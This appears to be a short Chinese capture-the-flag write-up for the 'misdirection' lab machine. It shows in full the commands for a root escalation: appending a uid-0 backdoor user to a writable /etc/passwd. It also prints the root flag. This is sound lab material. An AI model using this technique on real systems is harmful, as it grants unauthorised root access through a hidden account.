前提
brexit@misdirection:/tmp$ whoami
whoami
brexit
brexit@misdirection:/tmp$ ls -liah /etc/passwd
ls -liah /etc/passwd
153253 -rwxrwxr-- 1 roxx brexit 1.8K May 15 08:10 /etc/passwd
创建用户前的准备
brexit@misdirection:/tmp$ openssl passwd -1 123456
openssl passwd -1 123456
$1$/TjqfBNd$EFcF2nOIBWW3TzueYgzy6/
构造语句
superadmin:$1$/TjqfBNd$EFcF2nOIBWW3TzueYgzy6/:0:0:root:/root:/bin/bash
提权
brexit@misdirection:/tmp$ echo 'superadmin:$1$/TjqfBNd$EFcF2nOIBWW3TzueYgzy6/:0:0:root:/root:/bin/bash' >> /etc/passwd
<TzueYgzy6/:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:/tmp$ su superadmin
su superadmin
Password: 123456
root@misdirection:/tmp# whoami
whoami
root
root@misdirection:/tmp# cat /root/root.txt
cat /root/root.txt
0d2c6222bfdd3701e0fa12a9a9dc9c8c